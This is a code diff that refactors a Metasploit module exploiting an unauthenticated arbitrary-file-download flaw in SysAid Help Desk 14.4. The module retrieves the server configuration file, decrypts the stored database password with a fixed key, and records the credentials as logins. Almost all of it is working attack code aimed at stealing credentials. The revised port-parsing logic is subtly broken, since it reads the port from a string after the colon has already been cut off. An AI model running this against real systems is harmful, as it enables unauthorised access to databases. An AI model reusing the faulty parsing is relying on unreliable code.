@@ -13,13 +13,12 @@ class Metasploit3 < Msf::Auxiliary
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => " SysAid Help Desk Database Credentials Disclosure" ,
16
+ 'Name' => ' SysAid Help Desk Database Credentials Disclosure' ,
17
17
'Description' => %q{
18
- This module exploits a vulnerability in SysAid Help Desk that allows
19
- an unauthenticated user to download arbitrary files from the system. This is
20
- used to download the server configuration file that contains the database username
21
- and password, which is encrypted with a fixed key.
22
- This module has been tested with SysAid 14.4 on Windows and Linux.
18
+ This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
19
+ user to download arbitrary files from the system. This is used to download the server
20
+ configuration file that contains the database username and password, which is encrypted
21
+ with a fixed key. This module has been tested with SysAid 14.4 on Windows and Linux.
23
22
} ,
24
23
'Author' =>
25
24
[
@@ -28,17 +27,17 @@ def initialize(info={})
28
27
'License' => MSF_LICENSE ,
29
28
'References' =>
30
29
[
31
- [ 'CVE' , '2015-2996' ] ,
32
- [ 'CVE' , '2015-2998' ] ,
33
- [ 'URL' , 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ] ,
34
- [ 'URL' , 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
30
+ [ 'CVE' , '2015-2996' ] ,
31
+ [ 'CVE' , '2015-2998' ] ,
32
+ [ 'URL' , 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ] ,
33
+ [ 'URL' , 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
35
34
] ,
36
35
'DisclosureDate' => 'Jun 3 2015' ) )
37
36
38
37
register_options (
39
38
[
40
39
OptPort . new ( 'RPORT' , [ true , 'The target port' , 8080 ] ) ,
41
- OptString . new ( 'TARGETURI' , [ true , " SysAid path" , '/sysaid' ] ) ,
40
+ OptString . new ( 'TARGETURI' , [ true , ' SysAid path' , '/sysaid' ] ) ,
42
41
] , self . class )
43
42
end
44
43
@@ -55,7 +54,6 @@ def decrypt_password (ciphertext)
55
54
plaintext
56
55
end
57
56
58
-
59
57
def run
60
58
begin
61
59
res = send_request_cgi ( {
@@ -66,8 +64,7 @@ def run
66
64
} ,
67
65
} )
68
66
rescue Rex ::ConnectionRefused
69
- print_error ( "#{ peer } - Could not connect." )
70
- return
67
+ fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect." )
71
68
end
72
69
73
70
if res && res . code == 200 && res . body . to_s . bytesize != 0
@@ -76,48 +73,57 @@ def run
76
73
database_url = /\< dbUrl\> (.*)\< \/ dbUrl\> / . match ( res . body . to_s )
77
74
database_type = /\< dbType\> (.*)\< \/ dbType\> / . match ( res . body . to_s )
78
75
79
- if username && encrypted_password && database_type && database_url
80
- username = username . captures [ 0 ]
81
- encrypted_password = encrypted_password . captures [ 0 ]
82
- database_url = database_url . captures [ 0 ]
83
- database_type = database_type . captures [ 0 ]
84
- password = decrypt_password ( encrypted_password [ 6 ..encrypted_password . length ] )
85
- credential_core = report_credential_core ( {
86
- password : password ,
87
- username : username
88
- } )
89
-
90
- matches = /(\w *):(\w *):\/ \/ (.*)\/ (\w *)/ . match ( database_url )
91
- if matches
92
- begin
93
- if database_url [ 'localhost' ] == 'localhost'
94
- db_address = rhost
76
+ unless username && encrypted_password && database_type && database_url
77
+ fail_with ( Failure ::Unknown , "#{ peer } - Failed to obtain database credentials." )
78
+ end
79
+
80
+ username = username . captures [ 0 ]
81
+ encrypted_password = encrypted_password . captures [ 0 ]
82
+ database_url = database_url . captures [ 0 ]
83
+ database_type = database_type . captures [ 0 ]
84
+ password = decrypt_password ( encrypted_password [ 6 ..encrypted_password . length ] )
85
+ credential_core = report_credential_core ( {
86
+ password : password ,
87
+ username : username
88
+ } )
89
+
90
+ matches = /(\w *):(\w *):\/ \/ (.*)\/ (\w *)/ . match ( database_url )
91
+ if matches
92
+ begin
93
+ if database_url [ 'localhost' ] == 'localhost'
94
+ db_address = matches . captures [ 2 ]
95
+ db_port = db_address [ ( db_address . index ( ':' ) + 1 ) ..( db_address . length - 1 ) ] . to_i
96
+ db_address = rhost
97
+ else
98
+ db_address = matches . captures [ 2 ]
99
+ if db_address . index ( ':' )
100
+ db_address = db_address [ 0 , db_address . index ( ':' ) ]
101
+ db_port = db_address [ db_address . index ( ':' ) ..( db_address . length - 1 ) ] . to_i
95
102
else
96
- db_address = matches . captures [ 2 ]
97
- db_address = ( db_address . index ( ':' ) ? db_address [ 0 , db_address . index ( ':' ) ] : db_address )
98
- db_address = Rex ::Socket . getaddress ( db_address , true )
103
+ db_port = 0
99
104
end
100
- database_login_data = {
101
- address : db_address ,
102
- service_name : database_type ,
103
- protocol : 'tcp' ,
104
- workspace_id : myworkspace_id ,
105
- core : credential_core ,
106
- status : Metasploit ::Model ::Login ::Status ::UNTRIED
107
- }
108
- create_credential_login ( database_login_data )
109
- # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
110
- rescue SocketError
111
- print_error "Could not resolve database server hostname."
105
+ db_address = Rex ::Socket . getaddress ( db_address , true )
112
106
end
113
-
114
- print_status ( "#{ peer } - Stored SQL credentials #{ username } :#{ password } for #{ matches . captures [ 2 ] } " )
115
- return
107
+ database_login_data = {
108
+ address : db_address ,
109
+ service_name : database_type ,
110
+ protocol : 'tcp' ,
111
+ port : db_port ,
112
+ workspace_id : myworkspace_id ,
113
+ core : credential_core ,
114
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED
115
+ }
116
+ create_credential_login ( database_login_data )
117
+ # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
118
+ rescue SocketError
119
+ fail_with ( Failure ::Unknown , 'Could not resolve database server hostname.' )
116
120
end
121
+
122
+ print_status ( "#{ peer } - Stored SQL credentials #{ username } :#{ password } for #{ matches . captures [ 2 ] } " )
123
+ return
117
124
end
118
- print_error ( "#{ peer } - Failed to obtain database credentials, response was: #{ res . body } " )
119
125
else
120
- print_error ( "#{ peer } - Failed to obtain database credentials. " )
126
+ fail_with ( Failure :: NotVulnerable , "#{ peer } - Failed to obtain database credentials, response was: #{ res . code } " )
121
127
end
122
128
end
123
129
0 commit comments